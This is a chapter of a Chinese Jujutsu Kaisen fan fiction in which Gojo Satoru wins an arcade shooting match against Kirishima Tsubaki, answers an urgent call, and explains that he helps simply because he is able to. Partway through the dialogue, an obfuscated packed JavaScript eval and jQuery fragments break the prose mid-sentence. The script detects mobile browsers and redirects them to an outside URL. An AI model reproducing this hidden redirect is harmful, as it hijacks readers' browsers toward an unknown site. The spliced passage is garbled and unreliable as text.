12.能帮

作品:《[咒回]你也想加入五条派吗

    局面变成了五条悟和雾岛椿的终极对决。怪物已经多到几乎铺满屏幕。


    五条悟依旧游刃有余,甚至开始玩起了花活,背身开枪、盲射,分数疯狂上涨。他抽空瞥了一眼旁边的雾岛椿,发现她依旧保持着那种稳定到诡异的节奏,仿佛不是在玩激烈的射击游戏,而是在下一盘安静的棋。


    “不错嘛椿~不过到此为止了!”五条悟准备用速度终结比赛。


    然而,下一秒,他眼前的屏幕忽然恍惚了一下,原本清晰的怪物轨迹似乎出现了重影,几个关键的敌人位置产生了微妙的误判,导致他射空了几枪。


    是幻术!


    五条悟瞬间反应过来,椿竟然在游戏厅里对他施加了极其微弱的幻术,干扰的不是他本人,而是他对于屏幕图像的认知!


    “哇哦~作弊?”五条悟不怒反笑,兴奋起来,“有意思!”


    “六眼”全力解析,瞬间看破了幻术的干扰,真实的画面再次清晰。但就在这被干扰的短短一两秒内,雾岛椿的分数已经急速逼近!


    两人分数交替上升,几乎持平!最后关头,一只巨大的BOSS出现。


    五条悟和雾岛椿几乎同时瞄准了BOSS唯一的弱点。


    砰!砰!


    两声枪响。


    屏幕上弹出最终成绩。


    1st: Player 1 (五条悟) - 99990 pts


    2nd: Player 4 (雾岛椿) - 99980 pts


    以仅仅10分的微弱差距,五条悟险胜。


    “呼——好险好险!”五条悟轻呼两声,夸张地擦了擦并不存在的汗,然后得意地揽住雾岛椿的肩膀,“不过赢的还是最强我哦!说好了,一个月的喜久福!”


    雾岛椿轻轻呼出一口气,并没有太多失落,反而露出一丝淡淡的笑容,“……看来还是悟更厉害。”她刚才已经甚至用上了术式,却还是输了。


    夏油杰微笑道:“看来‘六眼’在游戏厅也一样作弊。”


    硝子看透了他的本质,一锤定音:“结论是,五条悟是个连游戏都必须要赢的幼稚鬼。”


    “这叫实力!”五条悟反驳着,心情大好地推着三人往外走,“走了走了,输家们!请我吃最高级的草莓蛋糕!现在!立刻!”


    游戏机的屏幕依旧闪烁着,映照着四人离去的背影,嘈杂的厅内仿佛还残留着刚才那场不可思议的“领域对决”的余韵。


    五条悟刚推着三人吵吵嚷嚷地刚走出游戏厅门口,他口袋里那只特制的手机就发出了尖锐又急促的警报声。


    他脸上的笑意瞬间收敛了几分,啧了一声,有些不耐烦地掏出手机扫了一眼。


    “真是的……偏偏是这种时候……”他嘟囔着,手指飞快地回复了几个字,然后抬起头,脸上又恢复了那副“真拿他们没办法”的嚣张表情,“好啦~甜品延期!有个小杂鱼需要我立刻去处理一下。”


    “位置很近?”夏油杰立刻捕捉到了关键,神色稍正,“需要我们一起去吗?”雾岛椿也向前微倾了身体,表示可以同行。


    “不用不用~”五条悟随意地挥了挥手,仿佛只是要去街角买罐饮料,“就在隔壁街区,一个刚孵出来没多久、术式有点麻烦的小东西罢了。我一个人过去‘砰’一下就能搞定!你们跟过来反而麻烦。”


    他说话语速很快,虽然透着不耐烦,但行动上却没有丝毫迟疑,开始辨认方向准备动身,“最快十分钟!你们就在这附近找个店坐着等……喂!记得帮我先点好!”


    话音未落,那道白色的身影已经如同鬼魅般融入人群,几个闪烁便消失在街角,速度快得惊人。


    留下的三人一时无言。


    家入硝子叹了口气:“所以我说,这家伙的休息日从来名存实亡。”


    雾岛椿望着他消失的方向,沉默了片刻。她完全无法理解这种随叫随到的行为,最终没忍住,带着一种纯粹的、毫不掺假的困惑低声感慨:


    “咒术师,真的很忙啊,随时随地,像块哪里需要就往哪搬的砖。”她的语气里没有同情,只有一种置身事外的评判。


    夏油杰闻言,温和地笑了笑,试图解释,“毕竟能者多劳,而且悟离得最近,由他处理效率最高。”


    “能者多劳……”椿重复了一遍这个词,像是品味着什么。她忽然转过头,看向夏油杰和硝子,眼神里带着一种恰到好处的好奇,仿佛只是不经意间想起:


    “说起来,我好像听说……我们上面除了悟,还有一位很厉害的特级咒术师?好像是一位女士?为什么从来没见过她出任务?如果她在,悟是不是能轻松一点?”


    这个问题看似随意,却像一枚细针,轻轻刺破了表面。


    夏油杰脸上的微笑淡去了一些,硝子也微微一顿。空气有瞬间的凝滞。


    夏油杰的声音依旧温和,但少了几分刚才的自然,“九十九小姐的情况比较特殊。她更专注于海外的调查和研究,国内的事务……基本由我们和悟来处理。”


    “是吗。”雾岛椿轻轻应了一声,没有再追问,只是重新将目光投向五条悟离开的方向。


    她内心的不理解非但没有消解,反而更深了。


    另一位特级在全球逍遥,而自称最强的五条悟却要在游戏厅门口被一个电话叫走去清理“小杂鱼”?


    这算什么“能者多劳”?这分明是……


    一种无法让人理解的“亏本买卖”。


    不如说,咒术师都是一群心甘情愿做着这种“亏本买卖”的疯子,明明咒灵是由普通人的负面情绪诞生的,是由人类创造出来的,为什么他们却还要保护着他们?等那些无法对抗咒灵的弱小人类被铲除干净之后,不就不会产生咒灵了吗?


    五条悟想来高专是因为有趣,那被人召之即来挥之即去任劳任怨出任务也觉得有趣吗?


    五条家的家主应该从小就是众星捧月的吧,这种人也能习惯被人随意差遣吗?


    她纷乱的思绪被一阵熟悉的、活力过剩的嚷嚷声打断。


    “哟!我回来了!我的草莓蛋糕点了没?要最贵最高级的哦。”五条悟像一阵风似的重新出现在他们面前,头发丝都没乱一根,仿佛刚才只是去上了个厕所。


    他一边抱怨着“那咒灵的术式真是有够麻烦的,害我多花了三十秒”,一边毫不客气地挤进甜品店卡座,眼睛发亮地搜寻着他的战利品。


    当看到那杯堆满草莓和奶油还有造型看着很高级的草莓蛋糕时,他脸上那点微不足道的不耐烦瞬间烟消云散,像个得到心爱玩具的孩子,立刻拿起勺子投入“战斗”,幸福得周围几乎要冒出小花来。刚才的紧急任务插曲,似乎没有在他心中留下任何痕迹。


    雾岛椿看着他这副模样,那种割裂感再次浮现。她沉默了几秒,忽然开口,问了一个她思考已久的问题,“当咒术师,有什么好处吗?”


    “嗯?”五条悟从巴菲里抬起头,嘴角还沾着一点奶油,他歪头想了想,回答得漫不经心,“好处?硬要说的话……工资还行?不过我也不缺钱。”


    “听起来完全是亏本生意。”椿客观地评价道,“那你为什么还要当?以你的能力,完全可以像九十九小姐一样,去更‘自由’的地方吧。”她的语气里带着一丝不易察觉的试探。


    五条悟挖了一大勺冰淇淋,含糊不清地说,“这个嘛……因为没想过不当咒术师啊。”他说得理所当然,仿佛这从来就不是一个需要思考的选项。


    “而且自由是怎么定义的?我一直都挺自由的吧。”


    “可是你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16430697|184871||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刚才明明不想去,”椿指出,目光锐利,“为什么还是立刻赶过去了?”


    五条悟的动作顿了一下,随即像是觉得这个问题很有趣般笑了起来,“为什么?因为夜蛾向我求助了,我就去了啊。”


    他说的轻描淡写,仿佛这只是像“渴了就要喝水”一样简单的道理。


    夏油杰也在一旁插话:“悟哪次出任务表现得很情愿了?”


    “就这样?”这个答案简单得让精心计算利弊的椿感到愕然。


    “就这样。”五条悟点点头,注意力又回到了他的甜品上,语气轻松又自然,“求助了,能帮,所以就去了。需要更复杂的理由吗?”


    他说完,便不再理会她的困惑,继续沉浸在他的甜食世界里,吃得心无旁骛,幸福洋溢。


    而雾岛椿却怔在了原地。


    没有宏大的理想,没有利益的驱使,甚至没有太多的情愿。


    仅仅因为一句“求助”,和一句轻飘飘的“能帮,所以就去了”。


    这比她所能想象的任何理由,都更让她难以理解,却又莫名地……在她那片只剩下冰冷计算的心湖中,投下了一颗微小却沉重的石子。


    这理由纯粹得近乎任性,也强大得令人窒息。


    在他看来,他确实是自由的。


    因为心之所向,即为自由。


    所以……一次又一次地在任务中悄悄为她保驾护航一次又一次挡住高层对她的迫害,这一切,也仅仅只是因为那句轻飘飘的“能帮,所以就做了”。


    或许,他也是把她那些出于社交习惯、为了维持距离而说出的客套话——“这次也麻烦悟了”——当真了吧。


    仔细回想,他似乎真的从未拒绝过她提出的任何要求,无论那要求听起来多么微不足道或理所当然。


    圣人吗?他是。这种毫无来由、不求回报的“好”,真是让人匪夷所思,甚至……让人有些不知所措。


    她本不是什么会主动依赖他人的人。


    最初,也仅仅是觉得这个人、这双苍天之瞳背后一定藏着无比有趣的世界,于是便凭着一种近乎直觉的冲动,在第一次见面时就提出了过于熟稔甚至失礼的要求。


    后来得知他是五条家的家主,她立刻为自己的行为找到了一个合理的解释,并将所有“麻烦”他的事,自动归类为他为招揽势力而预先支付的“筹码”。她甚至早已在心里做好了等价交换的预案——只要他开口,她就会加入五条家,留在他身边,让他看看他对她的“投资”有多么正确。


    她一直是这么认为的,所以才能心安理得、顺其自然地待在他身边,享受着他带来的庇护和……生机。


    高层看不惯她,她心知肚明。他们畏惧她可能成为五条悟的羽翼,不如说是畏惧所有能力比他们强的人,一直对她虎视眈眈,妄图通过任务除掉她。


    上次那个被“窗”误判评级的准特级咒灵就是他们的第一次试探。


    但现在,她忽然窥见了真相的一角:五条悟做这一切,或许并非出于对“潜在战力”的投资。他对她这个人本身,似乎……并无任何图谋。


    这个认知让她第一次感到了真正的无所适从。


    筹码消失了。交易不成立了。


    那她该怎么办才好?


    难道要……死皮赖脸跟着他吗?


    这个念头闪过时,她自己也愣了一下。但随即,一种更清晰、更坚定的情绪涌了上来。


    她不想离开五条悟身边。


    只有待在他身边,感受着他那份吵闹的、蓬勃的、有时甚至惹人烦的生命力,她才能感觉自己那颗沉寂冰冷的心还在跳动,才能从他那永不枯竭的能量中汲取到一丝活着的实感。


    想一直这样待下去。


    死皮赖脸,也不是不行。